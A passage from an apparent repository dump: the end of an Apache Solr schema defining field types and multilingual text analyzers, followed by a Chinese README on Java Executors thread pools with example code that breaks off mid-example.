original\n             string matched by the pattern.\n             \n             See the Java Regular Expression documentation for more\n             information on pattern and replacement string syntax.\n             \n             http://docs.oracle.com/javase/7/docs/api/java/util/regex/package-summary.html\n          -->\n        <filter class=\"solr.PatternReplaceFilterFactory\"\n                pattern=\"([^a-z])\" replacement=\"\" replace=\"all\"\n        />\n      </analyzer>\n    </fieldType>\n    \n    <fieldtype name=\"phonetic\" stored=\"false\" indexed=\"true\" class=\"solr.TextField\" >\n      <analyzer>\n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.DoubleMetaphoneFilterFactory\" inject=\"false\"/>\n      </analyzer>\n    </fieldtype>\n\n    <fieldtype name=\"payloads\" stored=\"false\" indexed=\"true\" class=\"solr.TextField\" >\n      <analyzer>\n        <tokenizer class=\"solr.WhitespaceTokenizerFactory\"/>\n        <!--\n        The DelimitedPayloadTokenFilter can put payloads on tokens... for example,\n        a token of \"foo|1.4\"  would be indexed as \"foo\" with a payload of 1.4f\n        Attributes of the DelimitedPayloadTokenFilterFactory : \n         \"delimiter\" - a one character delimiter. Default is | (pipe)\n\t \"encoder\" - how to encode the following value into a playload\n\t    float -> org.apache.lucene.analysis.payloads.FloatEncoder,\n\t    integer -> o.a.l.a.p.IntegerEncoder\n\t    identity -> o.a.l.a.p.IdentityEncoder\n            Fully Qualified class name implementing PayloadEncoder, Encoder must have a no arg constructor.\n         -->\n        <filter class=\"solr.DelimitedPayloadTokenFilterFactory\" encoder=\"float\"/>\n      </analyzer>\n    </fieldtype>\n\n    <!-- lowercases the entire field value, keeping it as a single token.  -->\n    <fieldType name=\"lowercase\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer>\n        <tokenizer class=\"solr.KeywordTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\" />\n      </analyzer>\n    </fieldType>\n\n    <!-- \n      Example of using PathHierarchyTokenizerFactory at index time, so\n      queries for paths match documents at that path, or in descendent paths\n    -->\n    <fieldType name=\"descendent_path\" class=\"solr.TextField\">\n      <analyzer type=\"index\">\n\t<tokenizer class=\"solr.PathHierarchyTokenizerFactory\" delimiter=\"/\" />\n      </analyzer>\n      <analyzer type=\"query\">\n\t<tokenizer class=\"solr.KeywordTokenizerFactory\" />\n      </analyzer>\n    </fieldType>\n    <!-- \n      Example of using PathHierarchyTokenizerFactory at query time, so\n      queries for paths match documents at that path, or in ancestor paths\n    -->\n    <fieldType name=\"ancestor_path\" class=\"solr.TextField\">\n      <analyzer type=\"index\">\n\t<tokenizer class=\"solr.KeywordTokenizerFactory\" />\n      </analyzer>\n      <analyzer type=\"query\">\n\t<tokenizer class=\"solr.PathHierarchyTokenizerFactory\" delimiter=\"/\" />\n      </analyzer>\n    </fieldType>\n\n    <!-- since fields of this type are by default not stored or indexed,\n         any data added to them will be ignored outright.  --> \n    <fieldtype name=\"ignored\" stored=\"false\" indexed=\"false\" multiValued=\"true\" class=\"solr.StrField\" />\n\n    <!-- This point type indexes the coordinates as separate fields (subFields)\n      If subFieldType is defined, it references a type, and a dynamic field\n      definition is created matching *___<typename>.  Alternately, if \n      subFieldSuffix is defined, that is used to create the subFields.\n      Example: if subFieldType=\"double\", then the coordinates would be\n        indexed in fields myloc_0___double,myloc_1___double.\n      Example: if subFieldSuffix=\"_d\" then the coordinates would be indexed\n        in fields myloc_0_d,myloc_1_d\n      The subFields are an implementation detail of the fieldType, and end\n      users normally should not need to know about them.\n     -->\n    <fieldType name=\"point\" class=\"solr.PointType\" dimension=\"2\" subFieldSuffix=\"_d\"/>\n\n    <!-- A specialized field for geospatial search. If indexed, this fieldType must not be multivalued. -->\n    <fieldType name=\"location\" class=\"solr.LatLonType\" subFieldSuffix=\"_coordinate\"/>\n\n    <!-- An alternative geospatial field type new to Solr 4.  It supports multiValued and polygon shapes.\n      For more information about this and other Spatial fields new to Solr 4, see:\n      http://wiki.apache.org/solr/SolrAdaptersForLuceneSpatial4\n    -->\n    <fieldType name=\"location_rpt\" class=\"solr.SpatialRecursivePrefixTreeFieldType\"\n        geo=\"true\" distErrPct=\"0.025\" maxDistErr=\"0.000009\" units=\"degrees\" />\n\n   <!-- Money/currency field type. See http://wiki.apache.org/solr/MoneyFieldType\n        Parameters:\n          defaultCurrency: Specifies the default currency if none specified. Defaults to \"USD\"\n          precisionStep:   Specifies the precisionStep for the TrieLong field used for the amount\n          providerClass:   Lets you plug in other exchange provider backend:\n                           solr.FileExchangeRateProvider is the default and takes one parameter:\n                             currencyConfig: name of an xml file holding exchange rates\n                           solr.OpenExchangeRatesOrgProvider uses rates from openexchangerates.org:\n                             ratesFileLocation: URL or path to rates JSON file (default latest.json on the web)\n                             refreshInterval: Number of minutes between each rates fetch (default: 1440, min: 60)\n   -->\n    <fieldType name=\"currency\" class=\"solr.CurrencyField\" precisionStep=\"8\" defaultCurrency=\"USD\" currencyConfig=\"currency.xml\" />\n             \n\n\n   <!-- some examples for different languages (generally ordered by ISO code) -->\n\n    <!-- Arabic -->\n    <fieldType name=\"text_ar\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <!-- for any non-arabic -->\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_ar.txt\" />\n        <!-- normalizes ﻯ to ﻱ, etc -->\n        <filter class=\"solr.ArabicNormalizationFilterFactory\"/>\n        <filter class=\"solr.ArabicStemFilterFactory\"/>\n      </analyzer>\n    </fieldType>\n\n    <!-- Bulgarian -->\n    <fieldType name=\"text_bg\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/> \n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_bg.txt\" /> \n        <filter class=\"solr.BulgarianStemFilterFactory\"/>       \n      </analyzer>\n    </fieldType>\n    \n    <!-- Catalan -->\n    <fieldType name=\"text_ca\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <!-- removes l', etc -->\n        <filter class=\"solr.ElisionFilterFactory\" ignoreCase=\"true\" articles=\"lang/contractions_ca.txt\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_ca.txt\" />\n        <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Catalan\"/>       \n      </analyzer>\n    </fieldType>\n    \n    <!-- CJK bigram (see text_ja for a Japanese configuration using morphological analysis) -->\n    <fieldType name=\"text_cjk\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer>\n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <!-- normalize width before bigram, as e.g. half-width dakuten combine  -->\n        <filter class=\"solr.CJKWidthFilterFactory\"/>\n        <!-- for any non-CJK -->\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.CJKBigramFilterFactory\"/>\n      </analyzer>\n    </fieldType>\n\n    <!-- Kurdish -->\n    <fieldType name=\"text_ckb\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer>\n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.SoraniNormalizationFilterFactory\"/>\n        <!-- for any latin text -->\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_ckb.txt\"/>\n        <filter class=\"solr.SoraniStemFilterFactory\"/>\n      </analyzer>\n    </fieldType>\n\n    <!-- Czech -->\n    <fieldType name=\"text_cz\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_cz.txt\" />\n        <filter class=\"solr.CzechStemFilterFactory\"/>       \n      </analyzer>\n    </fieldType>\n    \n    <!-- Danish -->\n    <fieldType name=\"text_da\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_da.txt\" format=\"snowball\" />\n        <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Danish\"/>       \n      </analyzer>\n    </fieldType>\n    \n    <!-- German -->\n    <fieldType name=\"text_de\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_de.txt\" format=\"snowball\" />\n        <filter class=\"solr.GermanNormalizationFilterFactory\"/>\n        <filter class=\"solr.GermanLightStemFilterFactory\"/>\n        <!-- less aggressive: <filter class=\"solr.GermanMinimalStemFilterFactory\"/> -->\n        <!-- more aggressive: <filter class=\"solr.SnowballPorterFilterFactory\" language=\"German2\"/> -->\n      </analyzer>\n    </fieldType>\n    \n    <!-- Greek -->\n    <fieldType name=\"text_el\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <!-- greek specific lowercase for sigma -->\n        <filter class=\"solr.GreekLowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"false\" words=\"lang/stopwords_el.txt\" />\n        <filter class=\"solr.GreekStemFilterFactory\"/>\n      </analyzer>\n    </fieldType>\n    \n    <!-- Spanish -->\n    <fieldType name=\"text_es\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_es.txt\" format=\"snowball\" />\n        <filter class=\"solr.SpanishLightStemFilterFactory\"/>\n        <!-- more aggressive: <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Spanish\"/> -->\n      </analyzer>\n    </fieldType>\n    \n    <!-- Basque -->\n    <fieldType name=\"text_eu\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_eu.txt\" />\n        <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Basque\"/>\n      </analyzer>\n    </fieldType>\n    \n    <!-- Persian -->\n    <fieldType name=\"text_fa\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer>\n        <!-- for ZWNJ -->\n        <charFilter class=\"solr.PersianCharFilterFactory\"/>\n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.ArabicNormalizationFilterFactory\"/>\n        <filter class=\"solr.PersianNormalizationFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_fa.txt\" />\n      </analyzer>\n    </fieldType>\n    \n    <!-- Finnish -->\n    <fieldType name=\"text_fi\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_fi.txt\" format=\"snowball\" />\n        <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Finnish\"/>\n        <!-- less aggressive: <filter class=\"solr.FinnishLightStemFilterFactory\"/> -->\n      </analyzer>\n    </fieldType>\n    \n    <!-- French -->\n    <fieldType name=\"text_fr\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <!-- removes l', etc -->\n        <filter class=\"solr.ElisionFilterFactory\" ignoreCase=\"true\" articles=\"lang/contractions_fr.txt\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_fr.txt\" format=\"snowball\" />\n        <filter class=\"solr.FrenchLightStemFilterFactory\"/>\n        <!-- less aggressive: <filter class=\"solr.FrenchMinimalStemFilterFactory\"/> -->\n        <!-- more aggressive: <filter class=\"solr.SnowballPorterFilterFactory\" language=\"French\"/> -->\n      </analyzer>\n    </fieldType>\n    \n    <!-- Irish -->\n    <fieldType name=\"text_ga\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <!-- removes d', etc -->\n        <filter class=\"solr.ElisionFilterFactory\" ignoreCase=\"true\" articles=\"lang/contractions_ga.txt\"/>\n        <!-- removes n-, etc. position increments is intentionally false! -->\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/hyphenations_ga.txt\"/>\n        <filter class=\"solr.IrishLowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_ga.txt\"/>\n        <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Irish\"/>\n      </analyzer>\n    </fieldType>\n    \n    <!-- Galician -->\n    <fieldType name=\"text_gl\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_gl.txt\" />\n        <filter class=\"solr.GalicianStemFilterFactory\"/>\n        <!-- less aggressive: <filter class=\"solr.GalicianMinimalStemFilterFactory\"/> -->\n      </analyzer>\n    </fieldType>\n    \n    <!-- Hindi -->\n    <fieldType name=\"text_hi\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <!-- normalizes unicode representation -->\n        <filter class=\"solr.IndicNormalizationFilterFactory\"/>\n        <!-- normalizes variation in spelling -->\n        <filter class=\"solr.HindiNormalizationFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_hi.txt\" />\n        <filter class=\"solr.HindiStemFilterFactory\"/>\n      </analyzer>\n    </fieldType>\n    \n    <!-- Hungarian -->\n    <fieldType name=\"text_hu\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_hu.txt\" format=\"snowball\" />\n        <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Hungarian\"/>\n        <!-- less aggressive: <filter class=\"solr.HungarianLightStemFilterFactory\"/> -->   \n      </analyzer>\n    </fieldType>\n    \n    <!-- Armenian -->\n    <fieldType name=\"text_hy\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_hy.txt\" />\n        <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Armenian\"/>\n      </analyzer>\n    </fieldType>\n    \n    <!-- Indonesian -->\n    <fieldType name=\"text_id\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_id.txt\" />\n        <!-- for a less aggressive approach (only inflectional suffixes), set stemDerivational to false -->\n        <filter class=\"solr.IndonesianStemFilterFactory\" stemDerivational=\"true\"/>\n      </analyzer>\n    </fieldType>\n    \n    <!-- Italian -->\n    <fieldType name=\"text_it\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <!-- removes l', etc -->\n        <filter class=\"solr.ElisionFilterFactory\" ignoreCase=\"true\" articles=\"lang/contractions_it.txt\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_it.txt\" format=\"snowball\" />\n        <filter class=\"solr.ItalianLightStemFilterFactory\"/>\n        <!-- more aggressive: <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Italian\"/> -->\n      </analyzer>\n    </fieldType>\n    \n    <!-- Japanese using morphological analysis (see text_cjk for a configuration using bigramming)\n\n         NOTE: If you want to optimize search for precision, use default operator AND in your query\n         parser config with <solrQueryParser defaultOperator=\"AND\"/> further down in this file.  Use \n         OR if you would like to optimize for recall (default).\n    -->\n    <fieldType name=\"text_ja\" class=\"solr.TextField\" positionIncrementGap=\"100\" autoGeneratePhraseQueries=\"false\">\n      <analyzer>\n      <!-- Kuromoji Japanese morphological analyzer/tokenizer (JapaneseTokenizer)\n\n           Kuromoji has a search mode (default) that does segmentation useful for search.  A heuristic\n           is used to segment compounds into its parts and the compound itself is kept as synonym.\n\n           Valid values for attribute mode are:\n              normal: regular segmentation\n              search: segmentation useful for search with synonyms compounds (default)\n            extended: same as search mode, but unigrams unknown words (experimental)\n\n           For some applications it might be good to use search mode for indexing and normal mode for\n           queries to reduce recall and prevent parts of compounds from being matched and highlighted.\n           Use <analyzer type=\"index\"> and <analyzer type=\"query\"> for this and mode normal in query.\n\n           Kuromoji also has a convenient user dictionary feature that allows overriding the statistical\n           model with your own entries for segmentation, part-of-speech tags and readings without a need\n           to specify weights.  Notice that user dictionaries have not been subject to extensive testing.\n\n           model.User dictionary attributes are:\n                     userDictionary: user dictionary filename\n             userDictionaryEncoding: user dictionary encoding (default is UTF-8)\n\n           See lang/userdict_ja.txt for a sample user dictionary file.\n\n           Punctuation characters are discarded by default.  Use discardPunctuation=\"false\" to keep them.\n\n           See http://wiki.apache.org/solr/JapaneseLanguageSupport for more on Japanese language support.\n        -->\n        <tokenizer class=\"solr.JapaneseTokenizerFactory\" mode=\"search\"/>\n        <!--<tokenizer class=\"solr.JapaneseTokenizerFactory\" mode=\"search\" userDictionary=\"lang/userdict_ja.txt\"/>-->\n        <!-- Reduces inflected verbs and adjectives to their base/dictionary forms (辞書形) -->\n        <filter class=\"solr.JapaneseBaseFormFilterFactory\"/>\n        <!-- Removes tokens with certain part-of-speech tags -->\n        <filter class=\"solr.JapanesePartOfSpeechStopFilterFactory\" tags=\"lang/stoptags_ja.txt\" />\n        <!-- Normalizes full-width romaji to half-width and half-width kana to full-width (Unicode NFKC subset) -->\n        <filter class=\"solr.CJKWidthFilterFactory\"/>\n        <!-- Removes common tokens typically not useful for search, but have a negative effect on ranking -->\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_ja.txt\" />\n        <!-- Normalizes common katakana spelling variations by removing any last long sound character (U+30FC) -->\n        <filter class=\"solr.JapaneseKatakanaStemFilterFactory\" minimumLength=\"4\"/>\n        <!-- Lower-cases romaji characters -->\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n      </analyzer>\n    </fieldType>\n    \n    <!-- Latvian -->\n    <fieldType name=\"text_lv\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_lv.txt\" />\n        <filter class=\"solr.LatvianStemFilterFactory\"/>\n      </analyzer>\n    </fieldType>\n    \n    <!-- Dutch -->\n    <fieldType name=\"text_nl\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_nl.txt\" format=\"snowball\" />\n        <filter class=\"solr.StemmerOverrideFilterFactory\" dictionary=\"lang/stemdict_nl.txt\" ignoreCase=\"false\"/>\n        <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Dutch\"/>\n      </analyzer>\n    </fieldType>\n    \n    <!-- Norwegian -->\n    <fieldType name=\"text_no\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_no.txt\" format=\"snowball\" />\n        <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Norwegian\"/>\n        <!-- less aggressive: <filter class=\"solr.NorwegianLightStemFilterFactory\" variant=\"nb\"/> -->\n        <!-- singular/plural: <filter class=\"solr.NorwegianMinimalStemFilterFactory\" variant=\"nb\"/> -->\n        <!-- The \"light\" and \"minimal\" stemmers support variants: nb=Bokmål, nn=Nynorsk, no=Both -->\n      </analyzer>\n    </fieldType>\n    \n    <!-- Portuguese -->\n    <fieldType name=\"text_pt\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_pt.txt\" format=\"snowball\" />\n        <filter class=\"solr.PortugueseLightStemFilterFactory\"/>\n        <!-- less aggressive: <filter class=\"solr.PortugueseMinimalStemFilterFactory\"/> -->\n        <!-- more aggressive: <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Portuguese\"/> -->\n        <!-- most aggressive: <filter class=\"solr.PortugueseStemFilterFactory\"/> -->\n      </analyzer>\n    </fieldType>\n    \n    <!-- Romanian -->\n    <fieldType name=\"text_ro\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_ro.txt\" />\n        <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Romanian\"/>\n      </analyzer>\n    </fieldType>\n    \n    <!-- Russian -->\n    <fieldType name=\"text_ru\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_ru.txt\" format=\"snowball\" />\n        <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Russian\"/>\n        <!-- less aggressive: <filter class=\"solr.RussianLightStemFilterFactory\"/> -->\n      </analyzer>\n    </fieldType>\n    \n    <!-- Swedish -->\n    <fieldType name=\"text_sv\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_sv.txt\" format=\"snowball\" />\n        <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Swedish\"/>\n        <!-- less aggressive: <filter class=\"solr.SwedishLightStemFilterFactory\"/> -->\n      </analyzer>\n    </fieldType>\n    \n    <!-- Thai -->\n    <fieldType name=\"text_th\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.ThaiTokenizerFactory\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_th.txt\" />\n      </analyzer>\n    </fieldType>\n    \n    <!-- Turkish -->\n    <fieldType name=\"text_tr\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer> \n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.ApostropheFilterFactory\"/>\n        <filter class=\"solr.TurkishLowerCaseFilterFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"false\" words=\"lang/stopwords_tr.txt\" />\n        <filter class=\"solr.SnowballPorterFilterFactory\" language=\"Turkish\"/>\n      </analyzer>\n    </fieldType>\n  \n  <!-- Similarity is the scoring routine for each document vs. a query.\n       A custom Similarity or SimilarityFactory may be specified here, but \n       the default is fine for most applications.  \n       For more info: http://wiki.apache.org/solr/SchemaXml#Similarity\n    -->\n  <!--\n     <similarity class=\"com.example.solr.CustomSimilarityFactory\">\n       <str name=\"paramkey\">param value</str>\n     </similarity>\n    -->\n\n</schema>\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/README.md",
    "content": "# java线程池实现\n\n> 线程池是一种多线程处理形式，处理过程中将任务添加到队列，然后在创建线程后自动启动这些任务。\n\n## 五种Java线程池功能及分析\n\n线程池都继承了ExecutorService的接口\n\n因为继承了ExecutorService接口，ExecutorService是Java提供的用于管理线程池的类。\n该类的两个作用：控制线程数量和重用线程。\n只有调用了shutdown（）的时候才是正式的终止了这个线程池。\n\n\n## 四种常见的线程池详解\n\njava通过Executors工厂类提供我们的线程池一共有4种：\n\n`Executors.newFixedThreadPool(int n)` //启动固定线程数的线程池\n\n`Executors.newCacheThreadPool()` //按需分配的线程池\n\n`Executors.newScheduledThreadPool(int n)`//定时，定期执行任务的线程池\n \n`Executors.newSingleThreadExecutor()`：//单线程化的线程池。\n\n## 一、单线程化的线程池newSingleThreadExecutor\n串行执行所有任务\n\n```java\n /**\n     * 单线程化的线程池\n     * 串行执行所有任务\n     */\n    public void singleThreadPool() throws ExecutionException, InterruptedException {\n        ExecutorService executorService = Executors.newSingleThreadExecutor();\n        for (int i = 0; i < 10; i++) {\n            final int index = i;\n            Future<Integer> task = executorService.submit(() -> {\n                Thread.currentThread().setName(\"Thread i = \" + index);\n                System.out.println(\"执行单线程化的线程池:\" + Thread.currentThread().getName());\n                return 50;\n            });\n            System.out.println(\"第\" + i + \"次计算,结果:\" + task.get());\n        }\n\n        //销毁线程池\n        executorService.shutdown();\n    }\n```\n\n## 二、固定线程数的线程池newFixedThreadPool\nfixedThreadPool（int size） 就只有一个参数，size，就是线程池中最大可创建多少个线程。\n如下：创建2个线程的fixedThreadPool ，当2个都为活跃的时候，后面的任务会被加入无边界的链式队列，有空闲，就执行任务。\n\n```java\n/**\n     * 启动固定线程数的线程池\n     *\n     * @param size 线程池中最大可创建多少个线程\n     * @throws ExecutionException   执行异常\n     * @throws InterruptedException 中断异常\n     */\n    public void fixedThreadPool(int size) throws ExecutionException, InterruptedException {\n        ExecutorService executorService = Executors.newFixedThreadPool(size);\n        for (int i = 0; i < 10; i++) {\n            Future<Integer> task = executorService.submit(() -> {\n                System.out.println(\"执行线程\" + Thread.currentThread().getName());\n                return 40;\n            });\n            System.out.println(\"第\" + i + \"次计算,结果:\" + task.get());\n        }\n\n        //销毁线程池\n        executorService.shutdown();\n    }\n```\n\n## 三、按需分配的线程池newCacheThreadPool\nCachedThreadPool比fixedThreadPool更快，只要有任务并且其他线程都在活跃态，就会开启一个新的线程。最大线程数：Integer.MAX_VALUE = 0x7fffffff\n\n```java\n/**\n     * 按需分配的线程池\n     * CachedThreadPool比fixedThreadPool更快\n     * 只要有任务并且其他线程都在活跃态，就会开启一个新的线程\n     * 最大线程数：Integer.MAX_VALUE = 0x7fffffff\n     */\n    public void cacheThreadPool() throws ExecutionException, InterruptedException {\n        ExecutorService executorService = Executors.newCachedThreadPool();\n        for (int i = 0; i < 10; i++) {\n            Future<Integer> task = executorService.submit(() -> {\n                System.out.println(\"执行线程\" + Thread.currentThread().getName());\n                return 50;\n            });\n            System.out.println(\"第\" + i + \"次计算,结果:\" + task.get());\n        }\n\n        //销毁线程池\n        executorService.shutdown();\n    }\n```\n\n## 四、定时执行的线程池newScheduledThreadPool\nnewScheduledThreadPool有schedule和scheduleAtFixedRate方法用来做定时任务，scheduleAtFixedRate多了一个周期的参数**period**。\n\n```java\nschedule(Runnable command,long delay, TimeUnit unit)\n```\n\n```java\nscheduleAtFixedRate(Runnable command,long initialDelay,long period,TimeUnit unit)\n```\n\n代码如下：\n\n```java\n/**\n     * 定时定期的线程池\n     */\n    public void scheduledThreadPool() {\n        ScheduledExecutorService scheduledThreadPool = Executors.newScheduledThreadPool(10);\n\n        //延迟3s后运行\n        for (int i = 0; i < 10; i++) {\n            scheduledThreadPool.schedule(() ->\n                    System.out.println(\"执行线程\" + Thread.currentThread().getName()), 10, TimeUnit.SECONDS);\n        }\n\n//        scheduledThreadPool.scheduleAtFixedRate(() ->\n//                System.out.println(\"scheduleAtFixedRate：执行线程\" + Thread.currentThread().getName()), 1,1, TimeUnit.SECONDS);\n\n        